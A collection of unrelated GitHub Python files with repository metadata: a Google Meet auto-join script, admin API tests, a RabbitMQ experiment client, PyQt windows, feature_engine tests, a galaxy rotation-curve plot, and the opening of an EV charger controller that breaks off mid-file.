{"seq_id": "20508252548", "text": "from datetime import datetime\nfrom pynput.keyboard import Key, Controller\nimport time, os\nkeyboard = Controller()\n\nbrowser = \"google-chrome\"     # replace it with your browser\nlink = \"jcx-sgnp-dra\"        # set your link here\nmeet_time = (\"12:14:30\")   # set your time here\n\ndef presstabkey(num, tym, keys):\n\t\n\ttime.sleep(tym)\n\twhile num > 0 :\n\t\tkeyboard.press(keys)\n\t\tkeyboard.release(keys)\n\t\tnum = num-1\n\tkeyboard.press(Key.enter)\n\tkeyboard.release(Key.enter)\n\nwhile True:\n\tnow = datetime.now()\n\tif now.strftime(\"%H:%M:%S\")  == meet_time:\n\t    os.system(\"gnome-terminal -e '\"+browser+\" http://meet.google.com/\"+link+\"'\")\n\t    presstabkey(8, 20, Key.tab)\n\t    break\n\n\n\n\n\t\n", "repo_name": "A-L-V-I-N/gmeet_automate", "sub_path": "gmeet_automate_linx.py", "file_name": "gmeet_automate_linx.py", "file_ext": "py", "file_size_in_byte": 673, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pynput.keyboard.Controller", "line_number": 4, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 12, "usage_type": "call"}, {"api_name": "pynput.keyboard.Key.enter", "line_number": 17, "usage_type": "attribute"}, {"api_name": "pynput.keyboard.Key", "line_number": 17, "usage_type": "name"}, {"api_name": "pynput.keyboard.Key.enter", "line_number": 18, "usage_type": "attribute"}, {"api_name": "pynput.keyboard.Key", "line_number": 18, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 21, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 21, "usage_type": "name"}, {"api_name": "os.system", "line_number": 23, "usage_type": "call"}, {"api_name": "pynput.keyboard.Key.tab", "line_number": 24, "usage_type": "attribute"}, {"api_name": "pynput.keyboard.Key", "line_number": 24, "usage_type": "name"}]}
{"seq_id": "37359988795", "text": "import grpc\nimport pytest\n\nfrom couchers import errors\nfrom couchers.db import session_scope\nfrom couchers.models import Cluster, User\nfrom couchers.servicers.admin import Admin\nfrom proto import admin_pb2, admin_pb2_grpc\nfrom tests.test_fixtures import db, generate_user, get_user_id_and_token, real_session, testconfig  # noqa\n\n\n@pytest.fixture(autouse=True)\ndef _(testconfig):\n    pass\n\n\nNORMAL_USER_NAME = \"normal_user\"\nSUPER_USER_NAME = \"super_user\"\nNORMAL_USER_EMAIL = \"normal@user.com\"\nCOMMUNITY_NAME = \"test community\"\nCOMMUNITY_SLUG = \"test-community\"\nCOMMUNITY_DESCRIPTION = \"community for testing\"\nVALID_GEOJSON_MULTIPOLYGON = \"\"\"\n    {\n      \"type\": \"MultiPolygon\",\n      \"coordinates\":\n       [ \n        [\n          [\n            [\n              -73.98114904754641,\n              40.7470284264813\n            ],\n            [\n              -73.98314135177611,\n              40.73416844413217\n            ],\n            [\n              -74.00538969848634,\n              40.734314779027144\n            ],\n            [\n              -74.00479214294432,\n              40.75027851544338\n            ],\n            [\n              -73.98114904754641,\n              40.7470284264813\n            ]\n          ]\n        ]\n      ]\n    }\n\"\"\"\nPOINT_GEOJSON = \"\"\"\n{ \"type\": \"Point\", \"coordinates\": [100.0, 0.0] }\n\"\"\"\n\n\ndef _admin_session(token: str):\n    return real_session(token, admin_pb2_grpc.add_AdminServicer_to_server, Admin(), admin_pb2_grpc.AdminStub)\n\n\ndef _get_super_token():\n    with session_scope() as session:\n        _, super_token = get_user_id_and_token(session, SUPER_USER_NAME)\n        return super_token\n\n\ndef _get_normal_user(session):\n    return session.query(User).filter(User.username == NORMAL_USER_NAME).one_or_none()\n\n\ndef _get_super_user(session):\n    return session.query(User).filter(User.username == SUPER_USER_NAME).one_or_none()\n\n\ndef _generate_normal_user(session):\n    generate_user(username=NORMAL_USER_NAME, email=NORMAL_USER_EMAIL)\n\n\ndef _generate_super_user(session):\n    generate_user(username=SUPER_USER_NAME, is_superuser=True)\n\n\ndef test_AccessByNormalUser(db):\n    with session_scope() as session:\n        _generate_normal_user(session)\n        normal_user_id, normal_token = get_user_id_and_token(session, NORMAL_USER_NAME)\n        with _admin_session(normal_token) as api:\n\n            # all requests to the admin servicer should break when done by a non-super_user\n            with pytest.raises(grpc.RpcError) as e:\n                api.GetUserEmailById(\n                    admin_pb2.GetUserEmailByIdReq(\n                        user_id=normal_user_id,\n                    )\n                )\n            assert e.value.code() == grpc.StatusCode.PERMISSION_DENIED\n\n\ndef test_GetEmailByUserId(db):\n    with session_scope() as session:\n        _generate_normal_user(session)\n        _generate_super_user(session)\n        normal_user = _get_normal_user(session)\n        with _admin_session(_get_super_token()) as api:\n            res = api.GetUserEmailById(admin_pb2.GetUserEmailByIdReq(user_id=normal_user.id))\n        assert res.email == NORMAL_USER_EMAIL\n        assert res.user_id == normal_user.id\n\n\ndef test_GetEmailByUserName(db):\n    with session_scope() as session:\n        _generate_normal_user(session)\n        _generate_super_user(session)\n        normal_user = _get_normal_user(session)\n        with _admin_session(_get_super_token()) as api:\n            res = api.GetUserEmailByUsername(admin_pb2.GetUserEmailByUsernameReq(username=normal_user.username))\n            assert res.email == NORMAL_USER_EMAIL\n            assert res.user_id == normal_user.id\n\n\ndef test_GetBanUser(db):\n    with session_scope() as session:\n        _generate_normal_user(session)\n        _generate_super_user(session)\n        with _admin_session(_get_super_token()) as api:\n            normal_user = _get_normal_user(session)\n            api.BanUser(admin_pb2.BanUserReq(user_id=normal_user.id))\n            session.refresh(normal_user)\n            assert normal_user.is_banned\n\n\ndef test_GetDeleteUser(db):\n    with session_scope() as session:\n        _generate_normal_user(session)\n        _generate_super_user(session)\n        with _admin_session(_get_super_token()) as api:\n            normal_user = _get_normal_user(session)\n            api.DeleteUser(admin_pb2.DeleteUserReq(user_id=normal_user.id))\n            session.refresh(normal_user)\n            assert normal_user.is_deleted\n\n\ndef test_CreateCommunityInvalidGeoJson(db):\n    with session_scope() as session:\n        _generate_normal_user(session)\n        _generate_super_user(session)\n        with _admin_session(_get_super_token()) as api:\n            with pytest.raises(grpc.RpcError) as e:\n                api.CreateCommunity(\n                    admin_pb2.CreateCommunityReq(\n                        name=COMMUNITY_NAME,\n                        slug=COMMUNITY_SLUG,\n                        description=COMMUNITY_DESCRIPTION,\n                        admin_ids=[],\n                        geojson=POINT_GEOJSON,\n                    )\n                )\n            assert e.value.code() == grpc.StatusCode.INVALID_ARGUMENT\n            assert e.value.details() == errors.NO_MULTIPOLYGON\n\n\ndef test_CreateCommunity(db):\n    with session_scope() as session:\n        _generate_normal_user(session)\n        _generate_super_user(session)\n        with _admin_session(_get_super_token()) as api:\n            api.CreateCommunity(\n                admin_pb2.CreateCommunityReq(\n                    name=COMMUNITY_NAME,\n                    slug=COMMUNITY_SLUG,\n                    description=COMMUNITY_DESCRIPTION,\n                    admin_ids=[],\n                    geojson=VALID_GEOJSON_MULTIPOLYGON,\n                )\n            )\n            community = session.query(Cluster).filter(Cluster.name == COMMUNITY_NAME).one()\n            assert community.description == COMMUNITY_DESCRIPTION\n            assert community.slug == COMMUNITY_SLUG\n", "repo_name": "chrisschaaf/couchers", "sub_path": "app/backend/src/tests/test_admin.py", "file_name": "test_admin.py", "file_ext": "py", "file_size_in_byte": 5937, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "71", "api": [{"api_name": "pytest.fixture", "line_number": 12, "usage_type": "call"}, {"api_name": "tests.test_fixtures.real_session", "line_number": 61, "usage_type": "call"}, {"api_name": "proto.admin_pb2_grpc.add_AdminServicer_to_server", "line_number": 61, "usage_type": "attribute"}, {"api_name": "proto.admin_pb2_grpc", "line_number": 61, "usage_type": "name"}, {"api_name": "couchers.servicers.admin.Admin", "line_number": 61, "usage_type": "call"}, {"api_name": "proto.admin_pb2_grpc.AdminStub", "line_number": 61, "usage_type": "attribute"}, {"api_name": "couchers.db.session_scope", "line_number": 65, "usage_type": "call"}, {"api_name": "tests.test_fixtures.get_user_id_and_token", "line_number": 66, "usage_type": "call"}, {"api_name": "couchers.models.User", "line_number": 71, "usage_type": "argument"}, {"api_name": "couchers.models.User.username", "line_number": 71, "usage_type": "attribute"}, {"api_name": "couchers.models.User", "line_number": 75, "usage_type": "argument"}, {"api_name": "couchers.models.User.username", "line_number": 75, "usage_type": "attribute"}, {"api_name": "tests.test_fixtures.generate_user", "line_number": 79, "usage_type": "call"}, {"api_name": "tests.test_fixtures.generate_user", "line_number": 83, "usage_type": "call"}, {"api_name": "couchers.db.session_scope", "line_number": 87, "usage_type": "call"}, {"api_name": "tests.test_fixtures.get_user_id_and_token", "line_number": 89, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 93, "usage_type": "call"}, {"api_name": "grpc.RpcError", "line_number": 93, "usage_type": "attribute"}, {"api_name": "proto.admin_pb2.GetUserEmailByIdReq", "line_number": 95, "usage_type": "call"}, {"api_name": "proto.admin_pb2", "line_number": 95, "usage_type": "name"}, {"api_name": "grpc.StatusCode", "line_number": 99, "usage_type": "attribute"}, {"api_name": "couchers.db.session_scope", "line_number": 103, "usage_type": "call"}, {"api_name": "proto.admin_pb2.GetUserEmailByIdReq", "line_number": 108, "usage_type": "call"}, {"api_name": "proto.admin_pb2", "line_number": 108, "usage_type": "name"}, {"api_name": "couchers.db.session_scope", "line_number": 114, "usage_type": "call"}, {"api_name": "proto.admin_pb2.GetUserEmailByUsernameReq", "line_number": 119, "usage_type": "call"}, {"api_name": "proto.admin_pb2", "line_number": 119, "usage_type": "name"}, {"api_name": "couchers.db.session_scope", "line_number": 125, "usage_type": "call"}, {"api_name": "proto.admin_pb2.BanUserReq", "line_number": 130, "usage_type": "call"}, {"api_name": "proto.admin_pb2", "line_number": 130, "usage_type": "name"}, {"api_name": "couchers.db.session_scope", "line_number": 136, "usage_type": "call"}, {"api_name": "proto.admin_pb2.DeleteUserReq", "line_number": 141, "usage_type": "call"}, {"api_name": "proto.admin_pb2", "line_number": 141, "usage_type": "name"}, {"api_name": "couchers.db.session_scope", "line_number": 147, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 151, "usage_type": "call"}, {"api_name": "grpc.RpcError", "line_number": 151, "usage_type": "attribute"}, {"api_name": "proto.admin_pb2.CreateCommunityReq", "line_number": 153, "usage_type": "call"}, {"api_name": "proto.admin_pb2", "line_number": 153, "usage_type": "name"}, {"api_name": "grpc.StatusCode", "line_number": 161, "usage_type": "attribute"}, {"api_name": "couchers.errors.NO_MULTIPOLYGON", "line_number": 162, "usage_type": "attribute"}, {"api_name": "couchers.errors", "line_number": 162, "usage_type": "name"}, {"api_name": "couchers.db.session_scope", "line_number": 166, "usage_type": "call"}, {"api_name": "proto.admin_pb2.CreateCommunityReq", "line_number": 171, "usage_type": "call"}, {"api_name": "proto.admin_pb2", "line_number": 171, "usage_type": "name"}, {"api_name": "couchers.models.Cluster", "line_number": 179, "usage_type": "argument"}, {"api_name": "couchers.models.Cluster.name", "line_number": 179, "usage_type": "attribute"}]}
{"seq_id": "12285667767", "text": "#!/usr/bin/env python\nimport pika\n\nimport sys, time, datetime\nfrom pathlib import Path\n# Se o cliente for executado no windows ou Visual Studio Code, descomentar a linha abaixo\n#sys.path.insert(0, str(Path().resolve()))\n# Se o cliente for executado no linux, descomentar a linha abaixo\nsys.path.insert(0, str(Path().resolve().parent))\n#print Path().resolve()\nfrom data import Data\nimport util\n\nTAB_1 = '\\t - '\n\n\nclass Client():\n    _dados = Data()\n    startExperimentTS = ''\n    channel = ''\n    queue = 'tcc_amqp'\n\n    def establishConnection(self, address='localhost', port=5672):\n        dataTest = 'Hello World!'\n        print('endereco: ' + address)\n        print('porta: ' + str(port))\n        print('dados: ' + dataTest)\n\n        credentials = pika.PlainCredentials('pi','raspberry')\n        connection = pika.BlockingConnection(\n            pika.ConnectionParameters(host=address, credentials=credentials))\n        self.channel = connection.channel()\n        self.channel.queue_declare(self.queue)\n        response = self.channel.basic_publish(exchange='', routing_key=self.queue, body=dataTest)\n        print(response)\n\n    def startExperiment(self, reps=-1, timePerRep=1):\n        \"\"\"\n\t\tInicia o Experimento\n\t\t>>Reps: quantidade de repetições que o experimento terá. \n\t\t\t\tCada repetição é igual a 1 pacote enviado.\n\t\t\t\tCaso seja <= 0 serão enviados todos os dados disponíveis\n\t\t>>timePerRep: \n\t\t\t\tintervalo de tempo entre repetição, em segundos. \n\t\t\t\tPadrão = 1seg\n\t\t\"\"\"\n        print(\"\\nIniciando o experimento às {0}\".format(\n            util.getFormattedDatetimeWithMillisec()))\n\n        if (reps <= 0):\n            reps = self._dados.length()\n        print(\"Quantidade de pacotes que serão enviados: {}\".format(reps))\n        duracao = timePerRep * reps\n        print(\"Tempo estimado de duração do experimento: {} ({})\\n\".format(\n            util.getFormattedDateTimeFromSeconds(duracao),\n            str(datetime.timedelta(seconds=duracao))))\n\n        for i in range(0, reps):\n            print(\"iniciando repetição {} às {}\".format(\n                i + 1, str(util.getFormattedDatetimeWithMillisec())))\n            self.sendPackage(i)\n            time.sleep(timePerRep)\n        print('Fechando a conexão...')\n        self.channel.connection.close()\n        print('Finalizado!')\n\n    def sendPackage(self, index):\n        print(TAB_1 + \"Enviando pacote ...\")\n        response = self.channel.basic_publish(\n            exchange='',\n            routing_key=self.queue,\n            body=self._dados.getByIndex(index).encode())\n        print(TAB_1 + 'enviado: ' + str(response))\n\n\ndef main():\n    client = Client()\n    address = input(\n        'Digite o endereco do servidor: (ou deixe em branco caso seja \"localhost\")\\n'\n    )\n    if (address == ''):\n        client.establishConnection()\n    else:\n        client.establishConnection(address=address)\n\n    reps = input(\n        '\\nDigite a quantidade de pacotes que você deseja enviar: (ou deixe em branco para enviar a quantidade máxima possível )\\n'\n    )\n    try:\n        reps = int(reps)\n    except ValueError:\n        reps = -1\n\n    client.startExperiment(reps)\n\n\nif __name__ == '__main__':\n    main()\n\n\n\n# print(\" [x] Sent 'Hello World!'\")", "repo_name": "raphaelcomph-dev/TCC", "sub_path": "AMQP/client.py", "file_name": "client.py", "file_ext": "py", "file_size_in_byte": 3228, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.path.insert", "line_number": 9, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 9, "usage_type": "call"}, {"api_name": "data.Data", "line_number": 18, "usage_type": "call"}, {"api_name": "pika.PlainCredentials", "line_number": 29, "usage_type": "call"}, {"api_name": "pika.BlockingConnection", "line_number": 30, "usage_type": "call"}, {"api_name": "pika.ConnectionParameters", "line_number": 31, "usage_type": "call"}, {"api_name": "util.getFormattedDatetimeWithMillisec", "line_number": 48, "usage_type": "call"}, {"api_name": "util.getFormattedDateTimeFromSeconds", "line_number": 55, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 56, "usage_type": "call"}, {"api_name": "util.getFormattedDatetimeWithMillisec", "line_number": 60, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 62, "usage_type": "call"}]}
{"seq_id": "32848493052", "text": "from PyQt5.QtCore import Qt\r\nfrom PyQt5.QtWidgets import QApplication, QWidget, QLabel, QPushButton, QVBoxLayout\r\n\r\n\r\napp = QApplication([])\r\nmain_win = QWidget()\r\n\r\n\r\nmain_win.setWindowTitle('TRASH')\r\nmain_win.resize(400, 250)\r\n\r\nlabel = QLabel(\"Натисни щоб дізнатись переможця\")\r\nresult = QLabel(\"?\")\r\nbtn = QPushButton('Згенерувати')\r\n\r\nline = QVBoxLayout()\r\nline.addWidget(label)\r\nline.addWidget(result)\r\nline.addWidget(btn)\r\n\r\nmain_win.setLayout(line)\r\nmain_win.show()\r\napp.exec_()\r\n\r\n", "repo_name": "BruhWaxie/window", "sub_path": "program.py", "file_name": "program.py", "file_ext": "py", "file_size_in_byte": 529, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 5, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 6, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 12, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 13, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 14, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 16, "usage_type": "call"}]}
{"seq_id": "22276260522", "text": "import numpy as np\nimport pandas as pd\nimport pytest\nfrom sklearn.base import clone\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.utils.estimator_checks import check_estimator\n\nfrom feature_engine.timeseries.forecasting import (\n    ExpandingWindowFeatures,\n    LagFeatures,\n    WindowFeatures,\n)\nfrom tests.estimator_checks.estimator_checks import check_feature_engine_estimator\n\n_estimators = [\n    LagFeatures(missing_values=\"ignore\"),\n    WindowFeatures(missing_values=\"ignore\"),\n    ExpandingWindowFeatures(missing_values=\"ignore\"),\n]\n\n\n@pytest.mark.parametrize(\"estimator\", _estimators)\ndef test_check_estimator_from_sklearn(estimator):\n    return check_estimator(estimator)\n\n\n@pytest.mark.parametrize(\"estimator\", _estimators)\ndef test_check_estimator_from_feature_engine(estimator):\n    return check_feature_engine_estimator(estimator)\n\n\n@pytest.mark.parametrize(\"estimator\", _estimators)\ndef test_error_when_not_unique_values_in_index(df_time, estimator):\n    X = df_time.copy()\n\n    # introduce dupes in index\n    tmp = X.head(2).copy()\n    tmp.iloc[0] = [1, 1, 1, \"blue\"]\n    Xd = pd.concat([X, tmp], axis=0)\n\n    transformer = clone(estimator)\n\n    with pytest.raises(NotImplementedError):\n        transformer.fit(Xd)\n\n    transformer.fit(X)\n    with pytest.raises(NotImplementedError):\n        transformer.transform(Xd)\n\n\n@pytest.mark.parametrize(\"estimator\", _estimators)\ndef test_error_when_nan_in_index(df_time, estimator):\n    X = df_time.copy()\n\n    # Introduce NaN in index.\n    tmp = X.head(1).copy()\n    tmp.index = [np.nan]\n    Xd = pd.concat([X, tmp], axis=0)\n\n    transformer = clone(estimator)\n\n    with pytest.raises(NotImplementedError):\n        transformer.fit(Xd)\n\n    transformer.fit(X)\n    with pytest.raises(NotImplementedError):\n        transformer.transform(Xd)\n\n\n@pytest.mark.parametrize(\"transformer\", _estimators)\ndef test_transformers_in_pipeline_with_set_output_pandas(df_time, transformer):\n    X = df_time.copy()\n\n    pipe = Pipeline([(\"trs\", transformer)]).set_output(transform=\"pandas\")\n\n    Xtt = transformer.fit_transform(X)\n    Xtp = pipe.fit_transform(X)\n\n    pd.testing.assert_frame_equal(Xtt, Xtp)\n", "repo_name": "feature-engine/feature_engine", "sub_path": "tests/test_time_series/test_forecasting/test_check_estimator_forecasting.py", "file_name": "test_check_estimator_forecasting.py", "file_ext": "py", "file_size_in_byte": 2152, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1587, "dataset": "github-code", "pt": "71", "api": [{"api_name": "feature_engine.timeseries.forecasting.LagFeatures", "line_number": 16, "usage_type": "call"}, {"api_name": "feature_engine.timeseries.forecasting.WindowFeatures", "line_number": 17, "usage_type": "call"}, {"api_name": "feature_engine.timeseries.forecasting.ExpandingWindowFeatures", "line_number": 18, "usage_type": "call"}, {"api_name": "sklearn.utils.estimator_checks.check_estimator", "line_number": 24, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 22, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 22, "usage_type": "attribute"}, {"api_name": "tests.estimator_checks.estimator_checks.check_feature_engine_estimator", "line_number": 29, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 27, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 27, "usage_type": "attribute"}, {"api_name": "pandas.concat", "line_number": 39, "usage_type": "call"}, {"api_name": "sklearn.base.clone", "line_number": 41, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 43, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 47, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 32, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 32, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 57, "usage_type": "attribute"}, {"api_name": "pandas.concat", "line_number": 58, "usage_type": "call"}, {"api_name": "sklearn.base.clone", "line_number": 60, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 62, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 66, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 51, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 51, "usage_type": "attribute"}, {"api_name": "sklearn.pipeline.Pipeline", "line_number": 74, "usage_type": "call"}, {"api_name": "pandas.testing.assert_frame_equal", "line_number": 79, "usage_type": "call"}, {"api_name": "pandas.testing", "line_number": 79, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 70, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 70, "usage_type": "attribute"}]}
{"seq_id": "34107899843", "text": "import sys\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtCore import Qt\nfrom PyQt5 import uic\n\nimport pandas as pd\nimport openpyxl\nimport datetime as pydatetime\n\nform_class = uic.loadUiType(\"ui/main_page_test.ui\")[0]\n\nclass WindowClass(QMainWindow, form_class) :\n    def __init__(self) :\n        super().__init__()\n        self.initUI()\n        self.show()\n\n    def initUI(self):\n        self.ts = self.get_now_timestamp()\n        self.df = pd.DataFrame([['EXP_START', self.ts, -1, -1]],\n                               index=[1], columns=['status', 'ts', 'ans', 'confidence'])\n\n        self.setupUi(self)\n\n        self.expInfoDict = {\"name\":\"\", \"birth\":\"\", \"expCnt\":\"\", \"1st_ts\":str(self.ts)}\n\n        self.submitBtn.clicked.connect(self.submitBtn_clicked)\n\n\n    def submitBtn_clicked(self):\n        self.expInfoDict['name'] = self.nameLEdit.text()\n        self.expInfoDict['birth'] = self.birthLEdit.text()\n        self.expInfoDict['expCnt'] = self.expCntLEdit.text()\n        self.expInfoDict['2nd_ts'] = str(self.get_now_timestamp())\n\n        print('expInfo', self.expInfoDict)\n\n        nowTime = pydatetime.datetime.today().strftime(\"%Y%m%d%H%M%S\")\n        print(nowTime)\n\n        exit(1)\n        # fileName = self.expInfoDict['name']+self.expInfoDict['birth']+\n        # self.df.to_csv('output/'+self.expInfoDict['name'])\n\n\n    def get_now(self):\n        # 현재 시스템 시간을 datetime형으로 반환\n        return pydatetime.datetime.now()\n\n    def get_now_timestamp(self):\n        # 현재 시스템 시간을 POSIX timestamp float형으로 반환\n        return self.get_now().timestamp()\n\n\n\n\n\nif __name__ == \"__main__\" :\n    app = QApplication(sys.argv)\n    myWindow = WindowClass()\n    myWindow.show()\n    app.exec_()", "repo_name": "PsycIT/Edu_Exp_App", "sub_path": "tmp/main_only_page.py", "file_name": "main_only_page.py", "file_ext": "py", "file_size_in_byte": 1758, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "PyQt5.uic.loadUiType", "line_number": 11, "usage_type": "call"}, {"api_name": "PyQt5.uic", "line_number": 11, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 21, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 39, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 39, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 49, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 49, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 60, "usage_type": "attribute"}]}
{"seq_id": "40308018977", "text": "import math\nimport numpy as np\nimport matplotlib.pyplot as plt\nFile = open(\"Galaxy1.txt\",\"r\")\nnext(File)\nradius=[]\nV=[]\nmV=[]\nm=[]\nDMmassV=[]\nCmassV=[]\n\n#m[radius.index(i)]+ 4*math.pi*(100*10**6)*(1.87**2)*(i-1.87*np.arctan(i/1.87))\n\n\n\n\nfor i in File.readlines():\n    radius.append(float(i.split()[0]))\n    V.append(float(i.split()[1]))\n    m.append(float(i.split()[4]))\n\nfor i in radius:\n    DMmassV.append(math.sqrt((4.3*10**-6)*4*math.pi*(100*10**6)*(1.87**2)*(i-1.87*np.arctan(i/1.87))*1/i))\nfor i in radius:  \n    CmassV.append(math.sqrt((4.3*10**-6)*(m[radius.index(i)]+4*math.pi*(100*10**6)*(1.87**2)*(i-1.87*np.arctan(i/1.87)))*1/i))\nfor i in radius:\n    mV.append(math.sqrt((4.3*10**-6)*m[radius.index(i)]*1/i))\n\n\n\nmV=np.array(mV)\nradius = np.array(radius)\ny = np.array(DMmassV)\nCmassV = np.array(CmassV)\nplt.plot(radius,CmassV)#combined DM and Visable mass\nplt.plot(radius,mV)#prediction based on mass from data\nplt.plot(radius,y)#DM\nplt.plot(radius,V)#actual data\nplt.xlabel(\"Radius (kpc)\")\nplt.ylabel(\"Velocity (kms^-1)\")\nplt.axis([0,max(radius),0,max(V)+2])\nplt.show()\n", "repo_name": "Emlyn25/Physics-project-code-and-images", "sub_path": "Q9_10_11.py", "file_name": "Q9_10_11.py", "file_ext": "py", "file_size_in_byte": 1082, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "math.sqrt", "line_number": 24, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 24, "usage_type": "attribute"}, {"api_name": "numpy.arctan", "line_number": 24, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 26, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 26, "usage_type": "attribute"}, {"api_name": "numpy.arctan", "line_number": 26, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}]}
{"seq_id": "3912305531", "text": "from enum import IntEnum\nimport requests\nimport time\nimport json\nimport logging\nimport os\nlogger = logging.getLogger('charger')\nlogger.setLevel(logging.INFO)\nfrom sink import Sink\n\ndata_override_file=\"debug_data.json\"\n\nMIN_AMP=6\nTIMEOUT_DETECT_VEHICLE = 60\nTIMEOUT_WAIT_FOR_PLUG_IN = 12\nUPHYSTERESIS = 20\nDOWNHYSTERESIS = -20\nFINISHEDLIMIT = 100\nSWITCHPHASEHYSTERESIS = 300\nDEFAULTPHASESWITCHSTEP = 2100000 # just a high number\n\nclass Plug_states(IntEnum):\n    INITIALIZE_CHARGER = 0\n    RESTARTING = 1\n    WAITING_FOR_VEHICLE_PLUGGING_IN = 2\n    PLUGGED_IN = 3\n\nplug_states=[\n    \"initialize charger\",\n    \"restarting\",\n    \"waiting for vehicle plugging in\",\n    \"plugged in\"\n]\n\nclass Charge_states(IntEnum):\n    UNPLUGGED = 0\n    INITIALIZE_VEHICLE = 1\n    WAITING_FOR_INITIALIZED_VEHICLE = 2\n    CHARGING = 3\n    WAITING_FOR_POWER = 4\n    FINISHED = 5\n\ncharge_states=[\n    \"unplugged\",\n    \"initialize vehicle\",\n    \"waiting for initialized vehilce\",\n    \"charging\",\n    \"wait for power\",\n    \"finished\"\n]\n\nclass Charger_modes(IntEnum):\n    AUTOMATIC = 0 # use self generated power only\n    MANUAL = 1 # use at least the amps given by button or app\n    AMOUNT = 2 # charge manually given amount of energy and then switch back to automatic\n    MARKET = 3 # reserved for later\n\ncharger_modes=[\n    \"automatic\",\n    \"manual\",\n    \"amount\",\n    \"market\"\n]\n\nclass Charger(Sink):\n    def __init__(self,name,config):\n        super().__init__(name,config)\n        self.address=config.get(\"address\")\n        self.config=config\n        self._charge_state=None\n        self._plug_state=None\n        self.charge_state=Charge_states.UNPLUGGED\n        self.plug_state=Plug_states.INITIALIZE_CHARGER\n        self.min_amp=int(config.get(\"min_amp\",\"6\"))\n        self.max_amp=int(config.get(\"max_amp\",\"16\"))\n        self.amp=-1\n        self.override_amp=0\n        self._car_phase_count=0\n        self._used_phase_count=0\n        self.is_pluggedin=False\n        self.connected_phase_count=0\n        self.voltage=0\n        self.charging_power=0\n        self.step_power=0\n        self.start_power=0\n        self.switch_phase_power=DEFAULTPHASESWITCHSTEP\n        self.charger_activated=False\n        self.phases_set=-1\n        #default for start and step power are 230V 3 phases\n#        self.voltage=230\n#       